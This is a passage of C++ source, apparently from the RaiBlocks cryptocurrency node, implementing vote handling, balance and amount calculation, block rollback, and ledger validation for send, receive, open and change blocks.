({rai::vote_code::invalid, 0});\n\t// Reject unsigned votes\n\tif (!rai::validate_message (vote_a->account, vote_a->hash (), vote_a->signature))\n\t{\n\t\tresult.code = rai::vote_code::replay;\n\t\tresult.vote = vote_max (transaction_a, vote_a);\t\t// Make sure this sequence number is > any we've seen from this account before\n\t\tif (result.vote == vote_a)\n\t\t{\n\t\t\tresult.code = rai::vote_code::vote;\n\t\t}\n\t}\n\treturn result;\n}\n\nbool rai::vote::operator == (rai::vote const & other_a) const\n{\n\treturn sequence == other_a.sequence && *block == *other_a.block && account == other_a.account && signature == other_a.signature;\n}\n\nbool rai::vote::operator != (rai::vote const & other_a) const\n{\n\treturn ! (*this == other_a);\n}\n\nstd::string rai::vote::to_json () const\n{\n\tstd::stringstream stream;\n\tboost::property_tree::ptree tree;\n\ttree.put (\"account\", account.to_account ());\n\ttree.put (\"signature\", signature.number ());\n\ttree.put (\"sequence\", std::to_string (sequence));\n\ttree.put (\"block\", block->to_json ());\n\tboost::property_tree::write_json (stream, tree);\n\treturn stream.str ();\n}\n\nnamespace\n{\nclass root_visitor : public rai::block_visitor\n{\npublic:\n    root_visitor (rai::block_store & store_a) :\n    store (store_a)\n    {\n    }\n    void send_block (rai::send_block const & block_a) override\n    {\n        result = block_a.previous ();\n    }\n    void receive_block (rai::receive_block const & block_a) override\n    {\n        result = block_a.previous ();\n    }\n    // Open blocks have no previous () so we use the account number\n    void open_block (rai::open_block const & block_a) override\n    {\n\t\trai::transaction transaction (store.environment, nullptr, false);\n        auto hash (block_a.source ());\n        auto source (store.block_get (transaction, hash));\n        if (source != nullptr)\n\t\t{\n\t\t\tauto send (dynamic_cast <rai::send_block *> (source.get ()));\n\t\t\tif (send != nullptr)\n\t\t\t{\n\t\t\t\tresult = send->hashables.destination;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tresult.clear ();\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tresult.clear ();\n\t\t}\n    }\n    void change_block (rai::change_block const & block_a) override\n    {\n        result = block_a.previous ();\n    }\n    rai::block_store & store;\n    rai::block_hash result;\n};\n}\n\nrai::store_iterator rai::block_store::latest_begin (MDB_txn * transaction_a, rai::account const & account_a)\n{\n    rai::store_iterator result (transaction_a, accounts, rai::mdb_val (account_a));\n    return result;\n}\n\nrai::store_iterator rai::block_store::latest_begin (MDB_txn * transaction_a)\n{\n    rai::store_iterator result (transaction_a, accounts);\n    return result;\n}\n\nrai::store_iterator rai::block_store::latest_end ()\n{\n    rai::store_iterator result (nullptr);\n    return result;\n}\n\nnamespace\n{\nclass ledger_processor : public rai::block_visitor\n{\npublic:\n    ledger_processor (rai::ledger &, MDB_txn *);\n    void send_block (rai::send_block const &) override;\n    void receive_block (rai::receive_block const &) override;\n    void open_block (rai::open_block const &) override;\n    void change_block (rai::change_block const &) override;\n    rai::ledger & ledger;\n\tMDB_txn * transaction;\n    rai::process_return result;\n};\n\n// Determine the amount delta resultant from this block\nclass amount_visitor : public rai::block_visitor\n{\npublic:\n    amount_visitor (MDB_txn *, rai::block_store &);\n    void compute (rai::block_hash const &);\n    void send_block (rai::send_block const &) override;\n    void receive_block (rai::receive_block const &) override;\n    void open_block (rai::open_block const &) override;\n    void change_block (rai::change_block const &) override;\n    void from_send (rai::block_hash const &);\n\tMDB_txn * transaction;\n    rai::block_store & store;\n    rai::uint128_t result;\n};\n\n// Determine the balance as of this block\nclass balance_visitor : public rai::block_visitor\n{\npublic:\n    balance_visitor (MDB_txn *, rai::block_store &);\n    void compute (rai::block_hash const &);\n    void send_block (rai::send_block const &) override;\n    void receive_block (rai::receive_block const &) override;\n    void open_block (rai::open_block const &) override;\n    void change_block (rai::change_block const &) override;\n\tMDB_txn * transaction;\n    rai::block_store & store;\n\trai::block_hash current;\n    rai::uint128_t result;\n};\n\namount_visitor::amount_visitor (MDB_txn * transaction_a, rai::block_store & store_a) :\ntransaction (transaction_a),\nstore (store_a)\n{\n}\n\nvoid amount_visitor::send_block (rai::send_block const & block_a)\n{\n    balance_visitor prev (transaction, store);\n    prev.compute (block_a.hashables.previous);\n    result = prev.result - block_a.hashables.balance.number ();\n}\n\nvoid amount_visitor::receive_block (rai::receive_block const & block_a)\n{\n    from_send (block_a.hashables.source);\n}\n\nvoid amount_visitor::open_block (rai::open_block const & block_a)\n{\n\tif (block_a.hashables.source != rai::genesis_account)\n\t{\n\t\tfrom_send (block_a.hashables.source);\n\t}\n\telse\n\t{\n\t\tresult = rai::genesis_amount;\n\t}\n}\n\nvoid amount_visitor::change_block (rai::change_block const & block_a)\n{\n\tresult = 0;\n}\n\nvoid amount_visitor::from_send (rai::block_hash const & hash_a)\n{\n    auto source_block (store.block_get (transaction, hash_a));\n    assert (source_block != nullptr);\n\tsource_block->visit (*this);\n}\n\nbalance_visitor::balance_visitor (MDB_txn * transaction_a, rai::block_store & store_a) :\ntransaction (transaction_a),\nstore (store_a),\ncurrent (0),\nresult (0)\n{\n}\n\nvoid balance_visitor::send_block (rai::send_block const & block_a)\n{\n    result += block_a.hashables.balance.number ();\n\tcurrent = 0;\n}\n\nvoid balance_visitor::receive_block (rai::receive_block const & block_a)\n{\n\tamount_visitor source (transaction, store);\n\tsource.compute (block_a.hashables.source);\n\trai::block_info block_info;\n\tif (!store.block_info_get (transaction, block_a.hash (), block_info))\n\t{\n\t\tresult += block_info.balance.number ();\n\t\tcurrent = 0;\n\t}\n\telse {\n\t\tresult += source.result;\n\t\tcurrent = block_a.hashables.previous;\n\t}\n}\n\nvoid balance_visitor::open_block (rai::open_block const & block_a)\n{\n    amount_visitor source (transaction, store);\n    source.compute (block_a.hashables.source);\n    result += source.result;\n\tcurrent = 0;\n}\n\nvoid balance_visitor::change_block (rai::change_block const & block_a)\n{\n\trai::block_info block_info;\n\tif (!store.block_info_get (transaction, block_a.hash (), block_info))\n\t{\n\t\tresult += block_info.balance.number ();\n\t\tcurrent = 0;\n\t}\n\telse {\n\t\tcurrent = block_a.hashables.previous;\n\t}\n}\n\n// Rollback this block\nclass rollback_visitor : public rai::block_visitor\n{\npublic:\n    rollback_visitor (MDB_txn * transaction_a, rai::ledger & ledger_a) :\n\ttransaction (transaction_a),\n    ledger (ledger_a)\n    {\n    }\n    void send_block (rai::send_block const & block_a) override\n    {\n\t\tauto hash (block_a.hash ());\n\t\trai::pending_info pending;\n\t\trai::pending_key key (block_a.hashables.destination, hash);\n\t\twhile (ledger.store.pending_get (transaction, key, pending))\n\t\t{\n\t\t\tledger.rollback (transaction, ledger.latest (transaction, block_a.hashables.destination));\n\t\t}\n\t\trai::account_info info;\n\t\tauto error (ledger.store.account_get (transaction, pending.source, info));\n\t\tassert (!error);\n\t\tledger.store.pending_del (transaction, key);\n\t\tledger.store.representation_add (transaction, ledger.representative (transaction, hash), pending.amount.number ());\n\t\tledger.change_latest (transaction, pending.source, block_a.hashables.previous, info.rep_block, ledger.balance (transaction, block_a.hashables.previous), info.block_count - 1);\n\t\tledger.store.block_del (transaction, hash);\n\t\tledger.store.frontier_del (transaction, hash);\n\t\tledger.store.frontier_put (transaction, block_a.hashables.previous, pending.source);\n\t\tledger.store.block_successor_clear (transaction, block_a.hashables.previous);\n\t\tif (!(info.block_count % ledger.store.block_info_max))\n\t\t{\n\t\t\tledger.store.block_info_del (transaction, hash);\n\t\t}\n    }\n    void receive_block (rai::receive_block const & block_a) override\n    {\n\t\tauto hash (block_a.hash ());\n\t\tauto representative (ledger.representative (transaction, block_a.hashables.previous));\n\t\tauto amount (ledger.amount (transaction, block_a.hashables.source));\n\t\tauto destination_account (ledger.account (transaction, hash));\n\t\trai::account_info info;\n\t\tauto error (ledger.store.account_get (transaction, destination_account, info));\n\t\tassert (!error);\n\t\tledger.store.representation_add (transaction, ledger.representative (transaction, hash), 0 - amount);\n\t\tledger.change_latest (transaction, destination_account, block_a.hashables.previous, representative, ledger.balance (transaction, block_a.hashables.previous), info.block_count - 1);\n\t\tledger.store.block_del (transaction, hash);\n\t\tledger.store.pending_put (transaction, rai::pending_key (destination_account, block_a.hashables.source), {ledger.account (transaction, block_a.hashables.source), amount});\n\t\tledger.store.frontier_del (transaction, hash);\n\t\tledger.store.frontier_put (transaction, block_a.hashables.previous, destination_account);\n\t\tledger.store.block_successor_clear (transaction, block_a.hashables.previous);\n\t\tif (!(info.block_count % ledger.store.block_info_max))\n\t\t{\n\t\t\tledger.store.block_info_del (transaction, hash);\n\t\t}\n    }\n    void open_block (rai::open_block const & block_a) override\n    {\n\t\tauto hash (block_a.hash ());\n\t\tauto representative (ledger.representative (transaction, block_a.hashables.source));\n\t\tauto amount (ledger.amount (transaction, block_a.hashables.source));\n\t\tauto destination_account (ledger.account (transaction, hash));\n\t\tledger.store.representation_add (transaction, ledger.representative (transaction, hash), 0 - amount);\n\t\tledger.change_latest (transaction, destination_account, 0, representative, 0, 0);\n\t\tledger.store.block_del (transaction, hash);\n\t\tledger.store.pending_put (transaction, rai::pending_key (destination_account, block_a.hashables.source), {ledger.account (transaction, block_a.hashables.source), amount});\n\t\tledger.store.frontier_del (transaction, hash);\n    }\n    void change_block (rai::change_block const & block_a) override\n    {\n\t\tauto hash (block_a.hash ());\n\t\tauto representative (ledger.representative (transaction, block_a.hashables.previous));\n\t\tauto account (ledger.account (transaction, block_a.hashables.previous));\n\t\trai::account_info info;\n\t\tauto error (ledger.store.account_get (transaction, account, info));\n\t\tassert (!error);\n\t\tauto balance (ledger.balance (transaction, block_a.hashables.previous));\n\t\tledger.store.representation_add (transaction, representative, balance);\n\t\tledger.store.representation_add (transaction, hash, 0 - balance);\n\t\tledger.store.block_del (transaction, hash);\n\t\tledger.change_latest (transaction, account, block_a.hashables.previous, representative, info.balance, info.block_count - 1);\n\t\tledger.store.frontier_del (transaction, hash);\n\t\tledger.store.frontier_put (transaction, block_a.hashables.previous, account);\n\t\tledger.store.block_successor_clear (transaction, block_a.hashables.previous);\n\t\tif (!(info.block_count % ledger.store.block_info_max))\n\t\t{\n\t\t\tledger.store.block_info_del (transaction, hash);\n\t\t}\n    }\n\tMDB_txn * transaction;\n    rai::ledger & ledger;\n};\n}\n\nvoid amount_visitor::compute (rai::block_hash const & block_hash)\n{\n    auto block (store.block_get (transaction, block_hash));\n\tif (block != nullptr)\n\t{\n\t\tblock->visit (*this);\n\t}\n\telse\n\t{\n\t\tif (block_hash == rai::genesis_account)\n\t\t{\n\t\t\tresult = std::numeric_limits <rai::uint128_t>::max ();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tassert (false);\n\t\t\tresult = 0;\n\t\t}\n\t}\n}\n\nvoid balance_visitor::compute (rai::block_hash const & block_hash)\n{\n\tcurrent = block_hash;\n\twhile (!current.is_zero ())\n\t{\n\t\tauto block (store.block_get (transaction, current));\n\t\tassert (block != nullptr);\n\t\tblock->visit (*this);\n\t}\n}\n\n// Balance for account containing hash\nrai::uint128_t rai::ledger::balance (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n    balance_visitor visitor (transaction_a, store);\n    visitor.compute (hash_a);\n    return visitor.result;\n}\n\nrai::uint128_t rai::block_store::block_balance (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n    balance_visitor visitor (transaction_a, *this);\n    visitor.compute (hash_a);\n    return visitor.result;\n}\n\n// Balance for an account by account number\nrai::uint128_t rai::ledger::account_balance (MDB_txn * transaction_a, rai::account const & account_a)\n{\n    rai::uint128_t result (0);\n    rai::account_info info;\n    auto none (store.account_get (transaction_a, account_a, info));\n    if (!none)\n    {\n        result = info.balance.number ();\n    }\n    return result;\n}\n\nrai::uint128_t rai::ledger::account_pending (MDB_txn * transaction_a, rai::account const & account_a)\n{\n\trai::uint128_t result (0);\n\trai::account end (account_a.number () + 1);\n\tfor (auto i (store.pending_begin (transaction_a, rai::pending_key (account_a, 0))), n (store.pending_begin (transaction_a, rai::pending_key (end, 0))); i != n; ++i)\n\t{\n\t\trai::pending_info info (i->second);\n\t\tresult += info.amount.number ();\n\t}\n\treturn result;\n}\n\nrai::process_return rai::ledger::process (MDB_txn * transaction_a, rai::block const & block_a)\n{\n\tledger_processor processor (*this, transaction_a);\n\tblock_a.visit (processor);\n\treturn processor.result;\n}\n\n// Money supply for heuristically calculating vote percentages\nrai::uint128_t rai::ledger::supply (MDB_txn * transaction_a)\n{\n\tauto unallocated (account_balance (transaction_a, rai::genesis_account));\n\tauto burned (account_pending (transaction_a, 0));\n\tauto absolute_supply (rai::genesis_amount - unallocated - burned);\n\tauto adjusted_supply (absolute_supply - inactive_supply);\n\treturn adjusted_supply <= absolute_supply ? adjusted_supply : 0;\n}\n\nrai::block_hash rai::ledger::representative (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n    auto result (representative_calculated (transaction_a, hash_a));\n\tassert (result.is_zero () || store.block_exists (transaction_a, result));\n    return result;\n}\n\nrai::block_hash rai::ledger::representative_calculated (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n    representative_visitor visitor (transaction_a, store);\n    visitor.compute (hash_a);\n    return visitor.result;\n}\n\nbool rai::ledger::block_exists (rai::block_hash const & hash_a)\n{\n\trai::transaction transaction (store.environment, nullptr, false);\n\tauto result (store.block_exists (transaction, hash_a));\n\treturn result;\n}\n\nstd::string rai::ledger::block_text (char const * hash_a)\n{\n\treturn block_text (rai::block_hash (hash_a));\n}\n\nstd::string rai::ledger::block_text (rai::block_hash const & hash_a)\n{\n\tstd::string result;\n\trai::transaction transaction (store.environment, nullptr, false);\n\tauto block (store.block_get (transaction, hash_a));\n\tif (block != nullptr)\n\t{\n\t\tblock->serialize_json (result);\n\t}\n\treturn result;\n}\n\n// Vote weight of an account\nrai::uint128_t rai::ledger::weight (MDB_txn * transaction_a, rai::account const & account_a)\n{\n    return store.representation_get (transaction_a, account_a);\n}\n\n// Rollback blocks until `block_a' doesn't exist\nvoid rai::ledger::rollback (MDB_txn * transaction_a, rai::block_hash const & block_a)\n{\n\tassert (store.block_exists (transaction_a, block_a));\n    auto account_l (account (transaction_a, block_a));\n    rollback_visitor rollback (transaction_a, *this);\n    rai::account_info info;\n    while (store.block_exists (transaction_a, block_a))\n    {\n        auto latest_error (store.account_get (transaction_a, account_l, info));\n        assert (!latest_error);\n        auto block (store.block_get (transaction_a, info.head));\n        block->visit (rollback);\n    }\n}\n\n// Return account containing hash\nrai::account rai::ledger::account (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tassert (store.block_exists (transaction_a, hash_a));\n\tauto hash (hash_a);\n\trai::block_hash successor (1);\n\trai::block_info block_info;\n\twhile (!successor.is_zero () && store.block_info_get (transaction_a, successor, block_info))\n\t{\n\t\tsuccessor = store.block_successor (transaction_a, hash);\n\t\tif (!successor.is_zero ())\n\t\t{\n\t\t\thash = successor;\n\t\t}\n\t}\n\trai::account result;\n\tif (successor.is_zero ())\n\t{\n\t\tresult = store.frontier_get (transaction_a, hash);\n\t}\n\telse\n\t{\n\t\tresult = block_info.account;\n\t}\n\tassert (!result.is_zero ());\n\treturn result;\n}\n\n// Return amount decrease or increase for block\nrai::uint128_t rai::ledger::amount (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n    amount_visitor amount (transaction_a, store);\n    amount.compute (hash_a);\n    return amount.result;\n}\n\nvoid rai::block_store::representation_add (MDB_txn * transaction_a, rai::block_hash const & source_a, rai::uint128_t const & amount_a)\n{\n\tauto source_block (block_get (transaction_a, source_a));\n\tassert (source_block != nullptr);\n\tauto source_rep (source_block->representative ());\n\tassert (!source_rep.is_zero ());\n    auto source_previous (representation_get (transaction_a, source_rep));\n    representation_put (transaction_a, source_rep, source_previous + amount_a);\n}\n\n// Return latest block for account\nrai::block_hash rai::ledger::latest (MDB_txn * transaction_a, rai::account const & account_a)\n{\n    rai::account_info info;\n    auto latest_error (store.account_get (transaction_a, account_a, info));\n\treturn latest_error ? 0 : info.head;\n}\n\n// Return latest root for account, account number of there are no blocks for this account.\nrai::block_hash rai::ledger::latest_root (MDB_txn * transaction_a, rai::account const & account_a)\n{\n    rai::account_info info;\n    auto latest_error (store.account_get (transaction_a, account_a, info));\n    rai::block_hash result;\n    if (latest_error)\n    {\n        result = account_a;\n    }\n    else\n    {\n        result = info.head;\n    }\n    return result;\n}\n\nrai::checksum rai::ledger::checksum (MDB_txn * transaction_a, rai::account const & begin_a, rai::account const & end_a)\n{\n    rai::checksum result;\n    auto error (store.checksum_get (transaction_a, 0, 0, result));\n    assert (!error);\n    return result;\n}\n\nvoid rai::ledger::dump_account_chain (rai::account const & account_a)\n{\n\trai::transaction transaction (store.environment, nullptr, false);\n    auto hash (latest (transaction, account_a));\n    while (!hash.is_zero ())\n    {\n        auto block (store.block_get (transaction, hash));\n        assert (block != nullptr);\n        std::cerr << hash.to_string () << std::endl;\n        hash = block->previous ();\n    }\n}\n\nvoid rai::ledger::checksum_update (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\trai::checksum value;\n    auto error (store.checksum_get (transaction_a, 0, 0, value));\n    assert (!error);\n    value ^= hash_a;\n    store.checksum_put (transaction_a, 0, 0, value);\n}\n\nvoid rai::ledger::change_latest (MDB_txn * transaction_a, rai::account const & account_a, rai::block_hash const & hash_a, rai::block_hash const & rep_block_a, rai::amount const & balance_a, uint64_t block_count_a)\n{\n    rai::account_info info;\n    auto exists (!store.account_get (transaction_a, account_a, info));\n    if (exists)\n    {\n        checksum_update (transaction_a, info.head);\n    }\n\telse\n\t{\n\t\tassert (dynamic_cast <rai::open_block *> (store.block_get (transaction_a, hash_a).get ()) != nullptr);\n\t\tinfo.open_block = hash_a;\n\t}\n    if (!hash_a.is_zero())\n    {\n        info.head = hash_a;\n        info.rep_block = rep_block_a;\n        info.balance = balance_a;\n        info.modified = store.now ();\n\t\tinfo.block_count = block_count_a;\n        store.account_put (transaction_a, account_a, info);\n\t\tif (!(block_count_a % store.block_info_max))\n\t\t{\n\t\t\trai::block_info block_info;\n\t\t\tblock_info.account = account_a;\n\t\t\tblock_info.balance = balance_a;\n\t\t\tstore.block_info_put (transaction_a, hash_a, block_info);\n\t\t}\n        checksum_update (transaction_a, hash_a);\n    }\n    else\n    {\n        store.account_del (transaction_a, account_a);\n    }\n}\n\nstd::unique_ptr <rai::block> rai::ledger::successor (MDB_txn * transaction_a, rai::block_hash const & block_a)\n{\n    assert (store.account_exists (transaction_a, block_a) || store.block_exists (transaction_a, block_a));\n    assert (store.account_exists (transaction_a, block_a) || latest (transaction_a, account (transaction_a, block_a)) != block_a);\n\trai::block_hash successor;\n\tif (store.account_exists (transaction_a, block_a))\n\t{\n\t\trai::account_info info;\n\t\tauto error (store.account_get (transaction_a, block_a, info));\n\t\tassert (!error);\n\t\tsuccessor = info.open_block;\n\t}\n\telse\n\t{\n\t\tsuccessor = store.block_successor (transaction_a, block_a);\n\t}\n\tassert (!successor.is_zero ());\n\tauto result (store.block_get (transaction_a, successor));\n\tassert (result != nullptr);\n    return result;\n}\n\nstd::unique_ptr <rai::block> rai::ledger::forked_block (MDB_txn * transaction_a, rai::block const & block_a)\n{\n\tassert (!store.block_exists (transaction_a, block_a.hash ()));\n\tauto root (block_a.root ());\n\tassert (store.block_exists (transaction_a, root) || store.account_exists (transaction_a, root));\n\tstd::unique_ptr <rai::block> result (store.block_get (transaction_a, store.block_successor (transaction_a, root)));\n\tif (result == nullptr)\n\t{\n\t\trai::account_info info;\n\t\tauto error (store.account_get (transaction_a, root, info));\n\t\tassert (!error);\n\t\tresult = store.block_get (transaction_a, info.open_block);\n\t\tassert (result != nullptr);\n\t}\n\treturn result;\n}\n\nvoid ledger_processor::change_block (rai::change_block const & block_a)\n{\n    auto hash (block_a.hash ());\n    auto existing (ledger.store.block_exists (transaction, hash));\n    result.code = existing ? rai::process_result::old : rai::process_result::progress; // Have we seen this block before? (Harmless)\n    if (result.code == rai::process_result::progress)\n    {\n        auto previous (ledger.store.block_exists (transaction, block_a.hashables.previous));\n        result.code = previous ? rai::process_result::progress : rai::process_result::gap_previous;  // Have we seen the previous block already? (Harmless)\n        if (result.code == rai::process_result::progress)\n        {\n            auto account (ledger.store.frontier_get (transaction, block_a.hashables.previous));\n\t\t\tresult.code = account.is_zero () ? rai::process_result::fork : rai::process_result::progress;\n\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t{\n\t\t\t\trai::account_info info;\n\t\t\t\tauto latest_error (ledger.store.account_get (transaction, account, info));\n\t\t\t\tassert (!latest_error);\n\t\t\t\tassert (info.head == block_a.hashables.previous);\n\t\t\t\tresult.code = validate_message (account, hash, block_a.signature) ? rai::process_result::bad_signature : rai::process_result::progress; // Is this block signed correctly (Malformed)\n\t\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t\t{\n\t\t\t\t\tledger.store.block_put (transaction, hash, block_a);\n\t\t\t\t\tauto balance (ledger.balance (transaction, block_a.hashables.previous));\n\t\t\t\t\tledger.store.representation_add (transaction, hash, balance);\n\t\t\t\t\tledger.store.representation_add (transaction, info.rep_block, 0 - balance);\n\t\t\t\t\tledger.change_latest (transaction, account, hash, hash, info.balance, info.block_count + 1);\n\t\t\t\t\tledger.store.frontier_del (transaction, block_a.hashables.previous);\n\t\t\t\t\tledger.store.frontier_put (transaction, hash, account);\n\t\t\t\t\tresult.account = account;\n\t\t\t\t\tresult.amount = 0;\n\t\t\t\t}\n\t\t\t}\n        }\n    }\n}\n\nvoid ledger_processor::send_block (rai::send_block const & block_a)\n{\n    auto hash (block_a.hash ());\n    auto existing (ledger.store.block_exists (transaction, hash));\n    result.code = existing ? rai::process_result::old : rai::process_result::progress; // Have we seen this block before? (Harmless)\n    if (result.code == rai::process_result::progress)\n    {\n        auto previous (ledger.store.block_exists (transaction, block_a.hashables.previous));\n        result.code = previous ? rai::process_result::progress : rai::process_result::gap_previous; // Have we seen the previous block already? (Harmless)\n        if (result.code == rai::process_result::progress)\n        {\n            auto account (ledger.store.frontier_get (transaction, block_a.hashables.previous));\n\t\t\tresult.code = account.is_zero () ? rai::process_result::fork : rai::process_result::progress;\n\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t{\n\t\t\t\tresult.code = validate_message (account, hash, block_a.signature) ? rai::process_result::bad_signature : rai::process_result::progress; // Is this block signed correctly (Malformed)\n\t\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t\t{\n\t\t\t\t\trai::account_info info;\n\t\t\t\t\tauto latest_error (ledger.store.account_get (transaction, account, info));\n\t\t\t\t\tassert (!latest_error);\n\t\t\t\t\tassert (info.head == block_a.hashables.previous);\n\t\t\t\t\tresult.code = info.balance.number () >= block_a.hashables.balance.number () ? rai::process_result::progress : rai::process_result::overspend; // Is this trying to spend more than they have (Malicious)\n\t\t\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t\t\t{\n\t\t\t\t\t\tauto amount (info.balance.number () - block_a.hashables.balance.number ());\n\t\t\t\t\t\tledger.store.representation_add (transaction, info.rep_block, 0 - amount);\n\t\t\t\t\t\tledger.store.block_put (transaction, hash, block_a);\n\t\t\t\t\t\tledger.change_latest (transaction, account, hash, info.rep_block, block_a.hashables.balance, info.block_count + 1);\n\t\t\t\t\t\tledger.store.pending_put (transaction, rai::pending_key (block_a.hashables.destination, hash), {account, amount});\n\t\t\t\t\t\tledger.store.frontier_del (transaction, block_a.hashables.previous);\n\t\t\t\t\t\tledger.store.frontier_put (transaction, hash, account);\n\t\t\t\t\t\tresult.account = account;\n\t\t\t\t\t\tresult.amount = amount;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n        }\n    }\n}\n\nvoid ledger_processor::receive_block (rai::receive_block const & block_a)\n{\n    auto hash (block_a.hash ());\n    auto existing (ledger.store.block_exists (transaction, hash));\n    result.code = existing ? rai::process_result::old : rai::process_result::progress; // Have we seen this block already?  (Harmless)\n    if (result.code == rai::process_result::progress)\n    {\n        result.code = ledger.store.block_exists (transaction, block_a.hashables.source) ? rai::process_result::progress: rai::process_result::gap_source; // Have we seen the source block already? (Harmless)\n        if (result.code == rai::process_result::progress)\n        {\n\t\t\tauto account (ledger.store.frontier_get (transaction, block_a.hashables.previous));\n\t\t\tresult.code = account.is_zero () ? rai::process_result::gap_previous : rai::process_result::progress;  //Have we seen the previous block? No entries for account at all (Harmless)\n\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t{\n\t\t\t\tresult.code = rai::validate_message (account, hash, block_a.signature) ? rai::process_result::bad_signature : rai::process_result::progress; // Is the signature valid (Malformed)\n\t\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t\t{\n\t\t\t\t\trai::account_info info;\n\t\t\t\t\tledger.store.account_get (transaction, account, info);\n\t\t\t\t\tresult.code = info.head == block_a.hashables.previous ? rai::process_result::progress : rai::process_result::gap_previous; // Block doesn't immediately follow latest block (Harmless)\n\t\t\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t\t\t{\n\t\t\t\t\t\trai::pending_key key (account, block_a.hashables.source);\n\t\t\t\t\t\trai::pending_info pending;\n\t\t\t\t\t\tresult.code = ledger.store.pending_get (transaction, key, pending) ? rai::process_result::unreceivable : rai::process_result::progress; // Has this source already been received (Malformed)\n\t\t\t\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t\t\t\t{\n                            auto new_balance (info.balance.number () + pending.amount.number ());\n                            rai::account_info source_info;\n                            auto error (ledger.store.account_get (transaction, pending.source, source_info));\n                            assert (!error);\n\t\t\t\t\t\t\tledger.store.pending_del (transaction, key);\n\t\t\t\t\t\t\tledger.store.block_put (transaction, hash, block_a);\n\t\t\t\t\t\t\tledger.change_latest (transaction, account, hash, info.rep_block, new_balance, info.block_count + 1);\n\t\t\t\t\t\t\tledger.store.representation_add (transaction, info.rep_block, pending.amount.number ());\n\t\t\t\t\t\t\tledger.store.frontier_del (transaction, block_a.hashables.previous);\n\t\t\t\t\t\t\tledger.store.frontier_put (transaction, hash, account);\n\t\t\t\t\t\t\tresult.account = account;\n\t\t\t\t\t\t\tresult.amount = pending.amount;\n                        }\n                    }\n                }\n            }\n\t\t\telse\n\t\t\t{\n\t\t\t\tresult.code = ledger.store.block_exists (transaction, block_a.hashables.previous) ? rai::process_result::fork : rai::process_result::gap_previous; // If we have the block but it's not the latest we have a signed fork (Malicious)\n\t\t\t}\n        }\n    }\n}\n\nvoid ledger_processor::open_block (rai::open_block const & block_a)\n{\n    auto hash (block_a.hash ());\n    auto existing (ledger.store.block_exists (transaction, hash));\n    result.code = existing ? rai::process_result::old : rai::process_result::progress; // Have we seen this block already? (Harmless)\n    if (result.code == rai::process_result::progress)\n    {\n        auto source_missing (!ledger.store.block_exists (transaction, block_a.hashables.source));\n        result.code = source_missing ? rai::process_result::gap_source : rai::process_result::progress; // Have we seen the source block? (Harmless)\n        if (result.code == rai::process_result::progress)\n        {\n\t\t\tresult.code = rai::validate_message (block_a.hashables.account, hash, block_a.signature) ? rai::process_result::bad_signature : rai::process_result::progress; // Is the signature valid (Malformed)\n\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t{\n\t\t\t\trai::account_info info;\n\t\t\t\tresult.code = ledger.store.account_get (transaction, block_a.hashables.account, info) ? rai::process_result::progress : rai::process_result::fork; // Has this account already been opened? (Malicious)\n\t\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t\t{\n\t\t\t\t\trai::pending_key key (block_a.hashables.account, block_a.hashables.source);\n\t\t\t\t\trai::pending_info pending;\n\t\t\t\t\tresult.code = ledger.store.pending_get (transaction, key, pending) ? rai::process_result::unreceivable : rai::process_result::progress; // Has this source already been received (Malformed)\n\t\t\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t\t\t{\n\t\t\t\t\t\tresult.code = block_a.hashables.account == rai::burn_account ? rai::process_result::opened_burn_account : rai::process_result::progress; // Is it burning 0 account? (Malicious)\n\t\t\t\t\t\tif (result.code == rai::process_result::progress)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trai::account_info source_info;\n\t\t\t\t\t\t\tauto error (ledger.store.account_get (transaction, pending.source, source_info));\n\t\t\t\t\t\t\tassert (!error);\n\t\t\t\t\t\t\tledger.store.pending_del (transaction, key);\n\t\t\t\t\t\t\tledger.store.block_put (transaction, hash, block_a);\n\t\t\t\t\t\t\tledger.change_latest (transaction, block_a.hashables.account, hash, hash, pending.amount.number (), info.block_count + 1);\n\t\t\t\t\t\t\tledger.store.representation_add (transaction, hash, pending.amount.number ());\n\t\t\t\t\t\t\tledger.store.frontier_put (transaction, hash, block_a.hashables.account);\n\t\t\t\t\t\t\tresult.account = block_a.hashables.account;\n\t\t\t\t\t\t\tresult.amount = pending.amount;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n        }\n    }\n}\n\nledger_processor::ledger_processor (rai::ledger & ledger_a, MDB_txn * transaction_a) :\nledger (ledger_a),\ntransaction (transaction_a)\n{\n}\n\nrai::vote::vote (rai::vote const & other_a) :\nsequence (other_a.sequence),\nblock (other_a.block),\naccount (other_a.account),\nsignature (other_a.signature)\n{\n}\n\nrai::vote::vote (bool & error_a, rai::stream & stream_a)\n{\n\tif (!error_a)\n\t{\n\t\terror_a = rai::read (stream_a, account.bytes);\n\t\tif (!error_a)\n\t\t{\n\t\t\terror_a = rai::read (stream_a, signature.bytes);\n\t\t\tif (!error_a)\n\t\t\t{\n\t\t\t\terror_a = rai::read (stream_a, sequence);\n\t\t\t\tif (!error_a)\n\t\t\t\t{\n\t\t\t\t\tblock = rai::deserialize_block (stream_a);\n\t\t\t\t\terror_a = block == nullptr;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nrai::vote::vote (bool & error_a, rai::stream & stream_a, rai::block_type type_a)\n{\n\tif (!error_a)\n\t{\n\t\terror_a = rai::read (stream_a, account.bytes);\n\t\tif 